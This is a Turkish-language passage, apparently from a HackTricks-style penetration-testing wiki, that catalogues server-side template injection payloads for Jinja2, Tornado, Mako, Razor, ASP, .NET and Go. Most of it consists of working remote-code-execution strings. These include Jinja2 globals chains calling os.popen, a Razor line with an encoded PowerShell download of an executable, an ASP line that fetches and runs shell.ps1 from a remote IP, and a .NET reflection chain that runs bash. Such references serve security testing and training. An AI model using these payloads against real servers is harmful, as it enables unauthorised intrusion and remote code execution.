Python’da arbitrary command execution bypassing sandboxes ile ilgili trikleri öğrenmek için aşağıdaki sayfayı inceleyin:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Daha fazla bilgi

Jinja2 (Python)

Resmi web sitesi

Jinja2, Python için tam özellikli bir şablon motorudur. Tam Unicode desteği vardır, isteğe bağlı entegre edilmiş izole (sandboxed) bir çalışma ortamı sunar, yaygın olarak kullanılır ve BSD lisanslıdır.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Şablon formatı

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE not dependant from __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja’yı kötüye kullanma hakkında daha fazla bilgi:

Jinja2 SSTI

Diğer payloads için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Daha fazla bilgi

Diğer Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start yöntemi sunucuda herhangi bir süreç başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. Zafiyetli bir webapp örneğini [https://github.com/cnotin/RazorVulnerableApp] adresinde bulabilirsiniz.

Daha fazla bilgi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Daha Fazla Bilgi

.Net Kısıtlamalarını Atlatma

The .NET Reflection mekanizmaları blacklisting’i atlatmak veya assembly içinde sınıfların bulunmaması durumunu aşmak için kullanılabilir. DLL’ler çalışma zamanında yüklenebilir ve temel nesnelerden erişilebilen metodlar ve özellikler kullanılabilir.

DLL’ler şu şekilde yüklenebilir:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - dosya sisteminden.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - isteğin içinden doğrudan.

Tam komut çalıştırma:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Daha Fazla Bilgi

Mojolicious (Perl)

Perl olmasına rağmen Ruby’deki ERB gibi etiketler kullanır.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go’nun template engine’inde, kullanımının doğrulanması belirli payload’larla yapılabilir:

  • {{ . }}: Veri yapısının girişini gösterir. Örneğin, Password özelliği olan bir obje geçirilmişse, {{ .Password }} bunu açığa çıkarabilir.
  • {{printf "%s" "ssti" }}: “ssti” stringini göstermesi beklenir.
  • {{html "ssti"}}, {{js "ssti"}}: Bu payload’lar “html” veya “js” eklemeden “ssti” döndürmelidir. Daha fazla direktif Go dokümantasyonunda incelenebilir here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template package ile XSS, payload doğrudan yerleştirilerek kolayca yapılabilir. Oysa html/template package bu durumu önlemek için yanıtı encode eder (ör. {{"<script>alert(1)</script>"}} &lt;script&gt;alert(1)&lt;/script&gt; ile sonuçlanır). Yine de, Go’da template tanımlama ve çağırma bu encoding’i atlatabilir: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Kodu kopyala

RCE Exploitation

RCE exploitation, html/template ile text/template arasında önemli ölçüde farklılık gösterir. text/template modülü herhangi bir public fonksiyonu doğrudan çağırmaya izin verir (“call” value’yu kullanarak), bu html/template’de izin verilmez. Bu modüllerin dokümantasyonu here for html/template ve here for text/template adreslerinde mevcuttur.

Go’da SSTI aracılığıyla RCE için, obje yöntemleri çağrılabilir. Örneğin, verilen objenin komut çalıştıran bir System metodu varsa, {{ .System "ls" }} gibi kullanılabilir. Bunu exploit etmek genellikle kaynak koda erişmeyi gerektirir, örnekte olduğu gibi:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Daha fazla bilgi

LESS (CSS Preprocessor)

LESS, değişkenler, mixins, fonksiyonlar ve güçlü @import direktifini ekleyen popüler bir CSS pre-processor’üdür. Derleme sırasında LESS motoru @import ifadelerinde referans verilen kaynakları alır (fetch) ve (inline) seçeneği kullanıldığında içeriklerini sonuç CSS’ye gömer (inline).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Diğer exploits için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection içeriğine göz atın. Ayrıca ilginç tag bilgilerini https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde bulabilirsiniz.

BlackHat PDF

İlgili Yardım

Eğer faydalı olacağını düşünüyorsanız, şu kaynakları okuyun:

Araçlar

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin